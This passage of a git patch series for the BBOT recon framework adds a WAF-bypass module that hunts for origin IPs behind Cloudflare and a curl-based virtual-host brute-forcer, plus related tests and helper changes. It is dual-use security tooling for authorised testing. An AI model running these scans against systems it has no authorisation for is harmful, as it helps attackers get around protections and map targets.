"127.0.0.129", + "org": "Cloudflare, Inc.", + "rir": "ARIN", + "subnets": ["127.0.0.128/25"], + } + + class DummyModule(BaseModule): + watched_events = ["DNS_NAME"] + _name = "dummy_module" + events_seen = [] + + async def handle_event(self, event): + if event.data == "protected.test": + await self.helpers.sleep(0.5) + self.events_seen.append(event.data) + url = "http://protected.test:8888/" + url_event = self.scan.make_event( + url, "URL", parent=self.scan.root_event, tags=["cdn-cloudflare", "in-scope", "status-200"] + ) + if url_event is not None: + await self.emit_event(url_event) + + elif event.data == "direct.test": + await self.helpers.sleep(0.5) + self.events_seen.append(event.data) + url = "http://direct.test:8888/" + url_event = self.scan.make_event( + url, "URL", parent=self.scan.root_event, tags=["in-scope", "status-200"] + ) + if url_event is not None: + await self.emit_event(url_event) + + async def setup_after_prep(self, module_test): + from bbot.core.helpers.asn import ASNHelper + + await module_test.mock_dns( + { + "protected.test": {"A": [self.PROTECTED_IP]}, + "direct.test": {"A": [self.DIRECT_IP]}, + "": {"A": []}, + } + ) + + self.module_test = module_test + + self.dummy_module = self.DummyModule(module_test.scan) + module_test.scan.modules["dummy_module"] = self.dummy_module + + module_test.monkeypatch.setattr(ASNHelper, "asndb_url", "http://127.0.0.1:8888/v1/ip/") + + expect_args = {"method": "GET", "uri": "/v1/ip/127.0.0.2"} + respond_args = { + "response_data": json.dumps(self.api_response_direct), + "status": 200, + "content_type": "application/json", + } + module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + + expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "protected.test"}} + respond_args = {"status": 200, "response_data": "HELLO THERE!"} + module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + + # Patch WAF bypass get_url_content to control similarity outcome + waf_module = module_test.scan.modules["waf_bypass"] + + async def fake_get_url_content(self_waf, url, ip=None): + if "protected.test" in url and (ip == None or ip == "127.0.0.1"): + return "PROTECTED CONTENT!" + else: + return "Error!!" + + import types + + module_test.monkeypatch.setattr( + waf_module, + "get_url_content", + types.MethodType(fake_get_url_content, waf_module), + raising=True, + ) + + # 7. Monkeypatch tldextract so base_domain is never empty + def fake_tldextract(domain): + import types as _t + + return _t.SimpleNamespace(top_domain_under_public_suffix=domain) + + module_test.monkeypatch.setattr( + waf_module.helpers, + "tldextract", + fake_tldextract, + raising=True, + ) + + def check(self, module_test, events): + waf_bypass_events = [e for e in events if e.type == "VULNERABILITY"] + assert waf_bypass_events, "No VULNERABILITY event produced" + + correct_description = [ + e + for e in waf_bypass_events + if "WAF Bypass Confirmed - Direct IPs: 127.0.0.1 for http://protected.test:8888/. Similarity 100.00%" + in e.data["description"] + ] + assert correct_description, "Incorrect description" From 3cd55a6c3c9c74c1d0ab83b632bd184aee878a6d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 11 Aug 2025 10:21:35 -0400 Subject: [PATCH 006/129] add meta --- bbot/modules/waf_bypass.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index 88086010dd..6bcca8a4b4 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -25,6 +25,7 @@ class waf_bypass(BaseModule): meta = { "description": "Detects potential WAF bypasses", "author": "@liquidsec", + "created_date": "2025-08-11", } async def setup(self): From 163ea09b0df1d6ddae8d6e2bd2757b5b44303228 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 15 Aug 2025 14:21:40 -0400 Subject: [PATCH 007/129] output modifications --- bbot/core/helpers/asn.py | 10 +++++----- bbot/modules/output/stdout.py | 22 +++++++++++++++++----- 2 files changed, 22 insertions(+), 10 deletions(-) diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index dadbd06bbb..046416bb27 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -46,18 +46,18 @@ async def _query_api(self, ip: str): try: response = await self.parent_helper.request(url, timeout=15) if response is None: - log.warning(f"ASN API no response for {ip}") + log.warning(f"ASN DB API: no response for {ip}") return None status = getattr(response, "status_code", 0) if status != 200: - log.warning(f"ASN API returned {status} for {ip}") + log.warning(f"ASN DB API: returned {status} for {ip}") return None try: raw = response.json() except Exception as e: - log.warning(f"ASN API JSON decode error for {ip}: {e}") + log.warning(f"ASN DB API: JSON decode error for {ip}: {e}") return None if isinstance(raw, dict): @@ -76,10 +76,10 @@ async def _query_api(self, ip: str): } return [rec] - log.warning(f"ASN API returned unexpected format for {ip}: {raw}") + log.warning(f"ASN DB API: returned unexpected format for {ip}: {raw}") return None except Exception as e: - log.warning(f"ASN API request error to url {url} for {ip}: {e}") + log.warning(f"ASN DB API: request error to url {url} for {ip}: {e}") return None def _cache_subnets(self, asn_list): diff --git a/bbot/modules/output/stdout.py b/bbot/modules/output/stdout.py index 11b9550f55..277ed86760 100644 --- a/bbot/modules/output/stdout.py +++ b/bbot/modules/output/stdout.py @@ -38,12 +38,9 @@ async def filter_event(self, event): return True async def handle_event(self, event): - # Strip "prefixes" list from ASN events for stdout - if event.type == "ASN" and isinstance(event.data, dict): - event.data.pop("prefixes", None) - json_mode = "human" if self.text_format == "text" else "json" event_json = event.json(mode=json_mode) + if self.show_event_fields: event_json = {k: str(event_json.get(k, "")) for k in self.show_event_fields} @@ -56,7 +53,22 @@ async def handle_text(self, event, event_json): if self.show_event_fields: event_str = "\t".join([str(s) for s in event_json.values()]) else: - event_str = self.human_event_str(event) + # For ASN events, create a concise version for text output only + if event.type == "ASN" and isinstance(event.data, dict): + display_data = event.data.copy() + display_data.pop("prefixes", None) + subnets = display_data.get("subnets", []) + if subnets and isinstance(subnets, list): + display_data["subnet_count"] = len(subnets) + display_data.pop("subnets", None) + + event_type = f"[{event.type}]" + event_tags = "" + if getattr(event, "tags", []): + event_tags = f"\t({', '.join(sorted(getattr(event, 'tags', [])))})" + event_str = f"{event_type:<20}\t{json.dumps(display_data)}\t{event.module_sequence}{event_tags}" + else: + event_str = self.human_event_str(event) # log vulnerabilities in vivid colors if event.type == "VULNERABILITY": From dee9079754b0b28283ff871fcaddbf5f34ffac40 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 15 Aug 2025 14:22:35 -0400 Subject: [PATCH 008/129] fix debug messages and add ip filter to ip check --- bbot/modules/waf_bypass.py | 32 +++++++++++++++++++++++--------- 1 file changed, 23 insertions(+), 9 deletions(-) diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index 6bcca8a4b4..6956d9f6f3 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -129,11 +129,16 @@ async def handle_event(self, event): if domain not in self.domain_ips: self.domain_ips[domain] = set() for ip in dns_response: - self.domain_ips[domain].add(str(ip)) - self.debug(f"Mapped domain {domain} to IP {ip}") - if "cloud-ip" in event.tags: - self.cloud_ips.add(str(ip)) - self.debug(f"Added cloud-ip {ip} to cloud_ips") + ip_str = str(ip) + # Validate that this is actually an IP address before storing + if self.helpers.is_ip(ip_str): + self.domain_ips[domain].add(ip_str) + self.debug(f"Mapped domain {domain} to IP {ip_str}") + if "cloud-ip" in event.tags: + self.cloud_ips.add(ip_str) + self.debug(f"Added cloud-ip {ip_str} to cloud_ips") + else: + self.warning(f"DNS resolution for {domain} returned non-IP result: {ip_str}") else: self.warning(f" DNS resolution for {domain}") @@ -228,12 +233,12 @@ async def filter_event(self, event): async def check_ip(self, ip, source_domain, protected_domain, source_event): matching_url = next((url for url in self.content_fingerprints.keys() if protected_domain in url), None) if not matching_url: - self.critical(f"No matching URL found for {protected_domain} in stored fingerprints") + self.debug(f"No matching URL found for {protected_domain} in stored fingerprints") return None original_fingerprint = self.content_fingerprints.get(matching_url) if not original_fingerprint: - self.critical(f"No original fingerprint for {matching_url}") + self.debug(f"No original fingerprint for {matching_url}") return None self.verbose( @@ -266,6 +271,11 @@ async def finish(self): for domain, ips in self.domain_ips.items(): if domain not in self.protected_domains: # If it's not a protected domain for ip in ips: + # Validate that this is actually an IP address before processing + if not self.helpers.is_ip(ip): + self.warning(f"Skipping non-IP address '{ip}' found in domain_ips for {domain}") + continue + if ip not in cloudflare_ips: # And IP isn't a known CloudFlare IP all_ips[ip] = domain self.debug(f"Added potential bypass IP {ip} from domain {domain}") @@ -293,8 +303,7 @@ async def finish(self): self.debug(f"\nFound {len(all_ips)} non-CloudFlare IPs to check: {all_ips}") tasks = [] - - self.verbose(f"Checking {len(self.attempted_bypass_pairs)} bypass pairs...") + new_pairs_count = 0 for protected_domain, source_event in self.protected_domains.items(): for ip, src in all_ips.items(): @@ -302,9 +311,14 @@ async def finish(self): if combo in self.attempted_bypass_pairs: continue self.attempted_bypass_pairs.add(combo) + new_pairs_count += 1 self.debug(f"Checking {ip} for {protected_domain} from {src}") tasks.append(asyncio.create_task(self.check_ip(ip, src, protected_domain, source_event))) + self.verbose( + f"Checking {new_pairs_count} new bypass pairs (total attempted: {len(self.attempted_bypass_pairs)})..." + ) + self.debug(f"about to start {len(tasks)} tasks") async for completed in self.helpers.as_completed(tasks): result = await completed From 9626f28113aa400c3add5836d7727d22e9ae7732 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 15 Aug 2025 14:38:15 -0400 Subject: [PATCH 009/129] add preset --- bbot/presets/waf-bypass.yml | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 bbot/presets/waf-bypass.yml diff --git a/bbot/presets/waf-bypass.yml b/bbot/presets/waf-bypass.yml new file mode 100644 index 0000000000..801782538b --- /dev/null +++ b/bbot/presets/waf-bypass.yml @@ -0,0 +1,19 @@ +description: WAF bypass detection with subdomain enumeration + +flags: + # enable subdomain enumeration to find potential bypass targets + - subdomain-enum + +modules: + # explicitly enable the waf_bypass module for detection + - waf_bypass + # ensure httpx is enabled for web probing + - httpx + +config: + # waf_bypass module configuration + modules: + waf_bypass: + similarity_threshold: 0.90 + search_ip_neighbors: true + neighbor_cidr: 24 \ No newline at end of file From cae129dc53acde83df9e08b63d2bd3221573d504 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 18 Aug 2025 17:01:23 -0400 Subject: [PATCH 010/129] fix bug when no subnets in asn --- bbot/modules/waf_bypass.py | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index 6956d9f6f3..d70df6e256 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -186,12 +186,13 @@ async def handle_event(self, event): subnets = asn_info.get("subnets") if isinstance(subnets, str): subnets = [subnets] - for cidr in subnets: - self.bypass_candidates[base_domain].add(cidr) - self.debug( - f"Added CIDR {cidr} from {provider_name} base domain {base_domain} " - f"(ASN{asn_info.get('asn', 'Unknown')} - {asn_info.get('name', 'Unknown')})" - ) + if subnets: + for cidr in subnets: + self.bypass_candidates[base_domain].add(cidr) + self.debug( + f"Added CIDR {cidr} from {provider_name} base domain {base_domain} " + f"(ASN{asn_info.get('asn', 'Unknown')} - {asn_info.get('name', 'Unknown')})" + ) else: self.warning(f"No ASN info found for IP {ip}") else: From 53ea0b3f7275d7145c2051ced73b1e97a38bb138 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 27 Aug 2025 12:33:57 -0400 Subject: [PATCH 011/129] virtualhost overhaul initial --- bbot/core/event/base.py | 6 +- bbot/core/helpers/web/web.py | 68 ++- bbot/modules/generic_ssrf.py | 6 +- bbot/modules/host_header.py | 8 +- bbot/modules/output/web_report.py | 2 +- bbot/modules/vhost.py | 129 ------ bbot/modules/virtualhost.py | 434 ++++++++++++++++++ bbot/test/bbot_fixtures.py | 6 +- bbot/test/test_step_1/test_web.py | 67 ++- ...le_vhost.py => test_module_virtualhost.py} | 34 +- docs/data/chord_graph/entities.json | 4 +- 11 files changed, 584 insertions(+), 180 deletions(-) delete mode 100644 bbot/modules/vhost.py create mode 100644 bbot/modules/virtualhost.py rename bbot/test/test_step_2/module_tests/{test_module_vhost.py => test_module_virtualhost.py} (68%) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 46102d6aef..1522bdf049 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1604,16 +1604,16 @@ def _pretty_string(self): return self.data["technology"] -class VHOST(DictHostEvent): +class VIRTUAL_HOST(DictHostEvent): class _data_validator(BaseModel): host: str - vhost: str + virtual_host: str url: Optional[str] = None _validate_url = field_validator("url")(validators.validate_url) _validate_host = field_validator("host")(validators.validate_host) def _pretty_string(self): - return self.data["vhost"] + return self.data["virtual_host"] class PROTOCOL(DictHostEvent): diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 5e86424049..9c1625bcf4 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -2,6 +2,7 @@ import warnings from pathlib import Path from bs4 import BeautifulSoup +import ipaddress from bbot.core.engine import EngineClient from bbot.core.helpers.misc import truncate_filename @@ -321,10 +322,11 @@ async def curl(self, *args, **kwargs): path_override (str, optional): Overrides the request-target to use in the HTTP request line. head_mode (bool, optional): If True, includes '-I' to fetch headers only. Defaults to None. raw_body (str, optional): Raw string to be sent in the body of the request. + resolve (dict, optional): Host resolution override as dict with 'host', 'port', 'ip' keys for curl --resolve. **kwargs: Arbitrary keyword arguments that will be forwarded to the HTTP request function. Returns: - str: The output of the cURL command. + dict: JSON object with response data and metadata. Raises: CurlError: If 'url' is not supplied. @@ -426,9 +428,71 @@ async def curl(self, *args, **kwargs): if raw_body: curl_command.append("-d") curl_command.append(raw_body) + + # --resolve :: + resolve_dict = kwargs.get("resolve", None) + + if resolve_dict is not None: + # Validate "resolve" is a dict + if not isinstance(resolve_dict, dict): + raise CurlError("'resolve' must be a dictionary containing 'host', 'port', and 'ip' keys") + + # Extract and validate IP (required) + ip = resolve_dict.get("ip") + if not ip: + raise CurlError("'resolve' dictionary requires an 'ip' value") + try: + ipaddress.ip_address(ip) + except ValueError: + raise CurlError(f"Invalid IP address supplied to 'resolve': {ip}") + + # Host, port, and ip must ALL be supplied explicitly + host = resolve_dict.get("host") + if not host: + raise CurlError("'resolve' dictionary requires a 'host' value") + + if "port" not in resolve_dict: + raise CurlError("'resolve' dictionary requires a 'port' value") + port = resolve_dict["port"] + + try: + port = int(port) + except (TypeError, ValueError): + raise CurlError("'port' supplied to resolve must be an integer") + if port < 1 or port > 65535: + raise CurlError("'port' supplied to resolve must be between 1 and 65535") + + # Append the --resolve directive + curl_command.append("--resolve") + curl_command.append(f"{host}:{port}:{ip}") + + # Always add JSON --write-out format with separator + curl_command.extend(["-w", "\\n---CURL_METADATA---\\n%{json}"]) + log.verbose(f"Running curl command: {curl_command}") output = (await self.parent_helper.run(curl_command)).stdout - return output + + # Parse the output to separate content and metadata + import json + + parts = output.split("\n---CURL_METADATA---\n") + + # Raise CurlError if separator not found - this indicates a problem with our curl implementation + if len(parts) < 2: + raise CurlError(f"Curl output missing expected separator. Got: {output[:200]}...") + + response_data = parts[0] + # Take the last part as JSON metadata (in case separator appears in content) + json_data = parts[-1].strip() + + # Raise CurlError if JSON parsing fails - this indicates a problem with curl's %{json} output + try: + metadata = json.loads(json_data) + except json.JSONDecodeError as e: + raise CurlError(f"Failed to parse curl JSON metadata: {e}. JSON data: {json_data[:200]}...") + + # Combine into final JSON structure + return {"response_data": response_data, **metadata} def beautifulsoup( self, diff --git a/bbot/modules/generic_ssrf.py b/bbot/modules/generic_ssrf.py index 6ccde510b9..50337dee50 100644 --- a/bbot/modules/generic_ssrf.py +++ b/bbot/modules/generic_ssrf.py @@ -61,7 +61,7 @@ async def test(self, event): self.generic_ssrf.debug(f"Sending request to URL: {test_url}") r = await self.generic_ssrf.helpers.curl(url=test_url) if r: - self.process(event, r, subdomain_tag) + self.process(event, r["response_data"], subdomain_tag) def process(self, event, r, subdomain_tag): response_token = self.generic_ssrf.interactsh_domain.split(".")[0][::-1] @@ -123,7 +123,7 @@ async def test(self, event): for tag, pd in post_data_list: r = await self.generic_ssrf.helpers.curl(url=test_url, method="POST", post_data=pd) - self.process(event, r, tag) + self.process(event, r["response_data"], tag) class Generic_XXE(BaseSubmodule): @@ -146,7 +146,7 @@ async def test(self, event): url=test_url, method="POST", raw_body=post_body, headers={"Content-type": "application/xml"} ) if r: - self.process(event, r, subdomain_tag) + self.process(event, r["response_data"], subdomain_tag) class generic_ssrf(BaseModule): diff --git a/bbot/modules/host_header.py b/bbot/modules/host_header.py index a60967b8b4..026740d144 100644 --- a/bbot/modules/host_header.py +++ b/bbot/modules/host_header.py @@ -106,7 +106,7 @@ async def handle_event(self, event): ignore_bbot_global_settings=True, cookies=added_cookies, ) - if self.domain in output: + if self.domain in output["response_data"]: domain_reflections.append(technique_description) # absolute URL / Host header transposition @@ -120,7 +120,7 @@ async def handle_event(self, event): cookies=added_cookies, ) - if self.domain in output: + if self.domain in output["response_data"]: domain_reflections.append(technique_description) # duplicate host header tolerance @@ -134,7 +134,7 @@ async def handle_event(self, event): head_mode=True, ) - split_output = output.split("\n") + split_output = output["response_data"].split("\n") if " 4" in split_output: description = "Duplicate Host Header Tolerated" await self.emit_event( @@ -173,7 +173,7 @@ async def handle_event(self, event): headers=override_headers, cookies=added_cookies, ) - if self.domain in output: + if self.domain in output["response_data"]: domain_reflections.append(technique_description) # emit all the domain reflections we found diff --git a/bbot/modules/output/web_report.py b/bbot/modules/output/web_report.py index 92ff98289f..69e307f002 100644 --- a/bbot/modules/output/web_report.py +++ b/bbot/modules/output/web_report.py @@ -4,7 +4,7 @@ class web_report(BaseOutputModule): - watched_events = ["URL", "TECHNOLOGY", "FINDING", "VULNERABILITY", "VHOST"] + watched_events = ["URL", "TECHNOLOGY", "FINDING", "VULNERABILITY", "VIRTUAL_HOST"] meta = { "description": "Create a markdown report with web assets", "created_date": "2023-02-08", diff --git a/bbot/modules/vhost.py b/bbot/modules/vhost.py deleted file mode 100644 index 0c8759f097..0000000000 --- a/bbot/modules/vhost.py +++ /dev/null @@ -1,129 +0,0 @@ -import base64 -from urllib.parse import urlparse - -from bbot.modules.ffuf import ffuf - - -class vhost(ffuf): - watched_events = ["URL"] - produced_events = ["VHOST", "DNS_NAME"] - flags = ["active", "aggressive", "slow", "deadly"] - meta = {"description": "Fuzz for virtual hosts", "created_date": "2022-05-02", "author": "@liquidsec"} - - special_vhost_list = ["127.0.0.1", "localhost", "host.docker.internal"] - options = { - "wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt", - "force_basehost": "", - "lines": 5000, - } - options_desc = { - "wordlist": "Wordlist containing subdomains", - "force_basehost": "Use a custom base host (e.g. evilcorp.com) instead of the default behavior of using the current URL", - "lines": "take only the first N lines from the wordlist when finding directories", - } - - deps_common = ["ffuf"] - banned_characters = {" ", "."} - - in_scope_only = True - - async def setup(self): - self.scanned_hosts = {} - self.wordcloud_tried_hosts = set() - return await super().setup() - - async def handle_event(self, event): - if not self.helpers.is_ip(event.host) or self.config.get("force_basehost"): - host = f"{event.parsed_url.scheme}://{event.parsed_url.netloc}" - if host in self.scanned_hosts.keys(): - return - else: - self.scanned_hosts[host] = event - - # subdomain vhost check - self.verbose("Main vhost bruteforce") - if self.config.get("force_basehost"): - basehost = self.config.get("force_basehost") - else: - basehost = self.helpers.parent_domain(event.parsed_url.netloc) - - self.debug(f"Using basehost: {basehost}") - async for vhost in self.ffuf_vhost(host, f".{basehost}", event): - self.verbose(f"Starting mutations check for {vhost}") - async for vhost in self.ffuf_vhost(host, f".{basehost}", event, wordlist=self.mutations_check(vhost)): - pass - - # check existing host for mutations - self.verbose("Checking for vhost mutations on main host") - async for vhost in self.ffuf_vhost( - host, f".{basehost}", event, wordlist=self.mutations_check(event.parsed_url.netloc.split(".")[0]) - ): - pass - - # special vhost list - self.verbose("Checking special vhost list") - async for vhost in self.ffuf_vhost( - host, - "", - event, - wordlist=self.helpers.tempfile(self.special_vhost_list, pipe=False), - skip_dns_host=True, - ): - pass - - async def ffuf_vhost(self, host, basehost, event, wordlist=None, skip_dns_host=False): - filters = await self.baseline_ffuf(f"{host}/", exts=[""], suffix=basehost, mode="hostheader") - self.debug("Baseline completed and returned these filters:") - self.debug(filters) - if not wordlist: - wordlist = self.tempfile - async for r in self.execute_ffuf( - wordlist, host, exts=[""], suffix=basehost, filters=filters, mode="hostheader" - ): - found_vhost_b64 = r["input"]["FUZZ"] - vhost_str = base64.b64decode(found_vhost_b64).decode() - vhost_dict = {"host": str(event.host), "url": host, "vhost": vhost_str} - if f"{vhost_dict['vhost']}{basehost}" != event.parsed_url.netloc: - await self.emit_event( - vhost_dict, - "VHOST", - parent=event, - context=f"{{module}} brute-forced virtual hosts for {event.data} and found {{event.type}}: {vhost_str}", - ) - if skip_dns_host is False: - await self.emit_event( - f"{vhost_dict['vhost']}{basehost}", - "DNS_NAME", - parent=event, - tags=["vhost"], - context=f"{{module}} brute-forced virtual hosts for {event.data} and found {{event.type}}: {{event.data}}", - ) - - yield vhost_dict["vhost"] - - def mutations_check(self, vhost): - mutations_list = [] - for mutation in self.helpers.word_cloud.mutations(vhost): - for i in ["", "-"]: - mutations_list.append(i.join(mutation)) - mutations_list_file = self.helpers.tempfile(mutations_list, pipe=False) - return mutations_list_file - - async def finish(self): - # check existing hosts with wordcloud - tempfile = self.helpers.tempfile(list(self.helpers.word_cloud.keys()), pipe=False) - - for host, event in self.scanned_hosts.items(): - if host not in self.wordcloud_tried_hosts: - event.parsed_url = urlparse(host) - - self.verbose("Checking main host with wordcloud") - if self.config.get("force_basehost"): - basehost = self.config.get("force_basehost") - else: - basehost = self.helpers.parent_domain(event.parsed_url.netloc) - - async for vhost in self.ffuf_vhost(host, f".{basehost}", event, wordlist=tempfile): - pass - - self.wordcloud_tried_hosts.add(host) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py new file mode 100644 index 0000000000..920534aa81 --- /dev/null +++ b/bbot/modules/virtualhost.py @@ -0,0 +1,434 @@ +import base64 +from urllib.parse import urlparse + +from bbot.modules.ffuf import ffuf + + +class virtualhost(ffuf): + watched_events = ["URL"] + produced_events = ["VIRTUAL_HOST", "DNS_NAME"] + flags = ["active", "aggressive", "slow", "deadly"] + meta = {"description": "Fuzz for virtual hosts", "created_date": "2022-05-02", "author": "@liquidsec"} + + # Constants for magic values + SIMILARITY_THRESHOLD = 0.95 + CANARY_LENGTH = 12 + CONTENT_FINGERPRINT_SIZE = 500 + + special_virtualhost_list = ["127.0.0.1", "localhost", "host.docker.internal"] + options = { + "wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt", + "force_basehost": "", + "lines": 5000, + } + options_desc = { + "wordlist": "Wordlist containing subdomains", + "force_basehost": "Use a custom base host (e.g. evilcorp.com) instead of the default behavior of using the current URL", + "lines": "take only the first N lines from the wordlist when finding directories", + } + + deps_common = ["ffuf"] + banned_characters = {" ", "."} + + in_scope_only = True + + async def setup(self): + self.scanned_hosts = {} + self.wordcloud_tried_hosts = set() + return await super().setup() + + async def handle_event(self, event): + if not self.helpers.is_ip(event.host) or self.config.get("force_basehost"): + host = f"{event.parsed_url.scheme}://{event.parsed_url.netloc}" + if host in self.scanned_hosts: + return + else: + self.scanned_hosts[host] = event + + # subdomain virtual host check + if self.config.get("force_basehost"): + basehost = self.config.get("force_basehost") + else: + basehost = self.helpers.parent_domain(event.parsed_url.netloc) + self.debug(f"Using basehost: {basehost}") + + # Phase 1: Main virtual host bruteforce + await self._run_virtualhost_phase( + "Main virtual host bruteforce", host, f".{basehost}", event, with_mutations=True + ) + + # Phase 2: Check existing host for mutations + await self._run_virtualhost_phase( + "Checking for virtual host mutations on main host", + host, + f".{basehost}", + event, + wordlist=self.mutations_check(event.parsed_url.netloc.split(".")[0]), + ) + + # Phase 3: Special virtual host list + await self._run_virtualhost_phase( + "Checking special virtual host list", + host, + "", + event, + wordlist=self.helpers.tempfile(self.special_virtualhost_list, pipe=False), + skip_dns_host=True, + ) + + async def _setup_canary(self, host, event, host_ip, is_https): + """Setup canary response for comparison using the appropriate technique. Returns canary fingerprint or None on failure.""" + try: + from urllib.parse import urlparse + import random + import string + + parsed = urlparse(host) + baseline_host = parsed.netloc + + # Generate random junk hostname for canary + canary_host = ( + "".join(random.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) + f".{baseline_host}" + ) + + if is_https: + self.debug(f"Testing canary host via SNI: {canary_host}") + + port = parsed.port or 443 + + # Get canary response using SNI + canary_response = await self.helpers.web.curl( + url=f"https://{canary_host}:{port}{parsed.path or '/'}", + resolve={"host": canary_host, "port": port, "ip": host_ip}, + ) + + if not canary_response: + self.debug(f"First SNI canary attempt failed for {host}, retrying...") + canary_response = await self.helpers.web.curl( + url=f"https://{canary_host}:{port}{parsed.path or '/'}", + resolve={"host": canary_host, "port": port, "ip": host_ip}, + ) + else: + self.debug(f"Testing canary host via Host header: {canary_host}") + + # For HTTP, use Host header manipulation + canary_response = await self.helpers.web.curl(url=host, headers={"Host": canary_host}) + + if not canary_response: + self.debug(f"First HTTP canary attempt failed for {host}, retrying...") + canary_response = await self.helpers.web.curl(url=host, headers={"Host": canary_host}) + + if not canary_response: + self.warning(f"Failed to get canary response for {host} after retry, skipping virtual host detection") + return None + + # Create content fingerprint of canary response + canary_fingerprint = self.get_content_fingerprint(canary_response["response_data"]) + if not canary_fingerprint: + self.warning(f"Failed to create canary fingerprint for {host}, skipping virtual host detection") + return None + + self.debug( + f"Canary response: {len(canary_response['response_data'])} bytes, fingerprint: {len(canary_fingerprint)} bytes" + ) + return canary_fingerprint + + except (KeyError, ValueError) as e: + self.debug(f"Error parsing host or creating canary for {host}: {e}") + return None + except Exception as e: + self.debug(f"Unexpected error getting canary for {host}: {e}") + return None + + async def _run_virtualhost_phase( + self, phase_name, host, basehost, event, wordlist=None, skip_dns_host=False, with_mutations=False + ): + """Helper method to run a virtual host discovery phase and optionally mutations""" + self.verbose(phase_name) + + async for virtualhost in self.curl_virtualhost(host, basehost, event, wordlist, skip_dns_host): + if with_mutations: + self.verbose(f"Starting mutations check for {virtualhost}") + async for _ in self.curl_virtualhost( + host, basehost, event, wordlist=self.mutations_check(virtualhost) + ): + pass + + async def curl_virtualhost(self, host, basehost, event, wordlist=None, skip_dns_host=False): + if wordlist is None: + wordlist = self.tempfile + + # Get baseline host for comparison and determine scheme + from urllib.parse import urlparse + + parsed = urlparse(host) + baseline_host = parsed.netloc + is_https = parsed.scheme == "https" + + # Collect all words for concurrent processing + wordlist_words = [] + for word in self.helpers.read_file(wordlist): + word = word.strip() + if not word: + continue + # Construct virtual host header + if basehost: + test_host = f"{word}{basehost}" + else: + test_host = word + + # Skip if this would be the same as the original host + if test_host == baseline_host: + continue + + wordlist_words.append((word, test_host)) + + # Create concurrent tasks for all virtual host tests - method varies by scheme + import asyncio + + tasks = [] + + host_ips = event.resolved_hosts + + for host_ip in host_ips: + # Get canary response to compare against (junk host that shouldn't exist) + canary_fingerprint = await self._setup_canary(host, event, host_ip, is_https) + if not canary_fingerprint: + return + + for word, test_host in wordlist_words: + if is_https: + task = asyncio.create_task( + self._test_https_virtualhost( + host, test_host, word, basehost, event, canary_fingerprint, skip_dns_host, host_ip, parsed + ) + ) + else: + task = asyncio.create_task( + self._test_http_virtualhost( + host, test_host, word, basehost, event, canary_fingerprint, skip_dns_host, host_ip + ) + ) + tasks.append(task) + + method = "SNI" if is_https else "Host header" + self.verbose(f"Testing {len(tasks)} virtual hosts concurrently using {method}...") + + # Process results as they complete + found_hosts = [] + async for completed in self.helpers.as_completed(tasks): + result = await completed + if result: + found_hosts.append(result) + yield result + + self.verbose(f"Found {len(found_hosts)} virtual hosts") + + async def _test_http_virtualhost( + self, host, test_host, word, basehost, event, canary_fingerprint, skip_dns_host, host_ip + ): + """ + Test a single virtual host candidate using HTTP Host header + Returns the virtual host name if detected, None otherwise + """ + try: + # Make request with custom Host header using curl with status code + curl_result = await self.helpers.web.curl( + url=host, headers={"Host": test_host}, resolve={"host": test_host, "port": 80, "ip": host_ip} + ) + + if not curl_result: + return None + + # Check for 421 Misdirected Request - clear signal that virtual host doesn't exist + if curl_result["http_code"] == 421: + self.critical(f"SKIPPING {test_host} - got 421 Misdirected Request (virtual host not configured)") + return None + + response = curl_result["response_data"] + + # Create content fingerprint for comparison + response_fingerprint = self.get_content_fingerprint(response) + if not response_fingerprint: + return None + + # Calculate content similarity to canary (junk response) + similarity = self.get_content_similarity(canary_fingerprint, response_fingerprint) + + self.debug( + f"Testing URL: {host} | Virtual Host: {test_host} | Response: {len(response)} bytes | Similarity to canary: {similarity:.3f}" + ) + + # If similarity is low (different from junk response), it's likely a valid virtual host + # Different from canary = real virtual host, similar to canary = also junk + if similarity > self.SIMILARITY_THRESHOLD: + return None + + virtualhost_dict = { + "host": str(event.host), + "url": host, + "virtual_host": word, + "technique": "Host header brute-force", + "ip": host_ip, + } + + # Don't emit if this would be the same as the original netloc + if f"{virtualhost_dict['virtual_host']}{basehost}" != event.parsed_url.netloc: + await self.emit_event( + virtualhost_dict, + "VIRTUAL_HOST", + parent=event, + context=f"{{module}} discovered virtual host via Host header brute-force for {event.data} and found {{event.type}}: {word} (similarity: {similarity:.2%})", + ) + + if skip_dns_host is False: + await self.emit_event( + f"{virtualhost_dict['virtual_host']}{basehost}", + "DNS_NAME", + parent=event, + tags=["virtual-host"], + context=f"{{module}} discovered virtual host via Host header brute-force for {event.data} and found {{event.type}}: {{event.data}}", + ) + + return word + + except Exception as e: + self.debug(f"Error testing virtual host {word}: {e}") + return None + + async def _test_https_virtualhost( + self, host, test_host, word, basehost, event, canary_fingerprint, 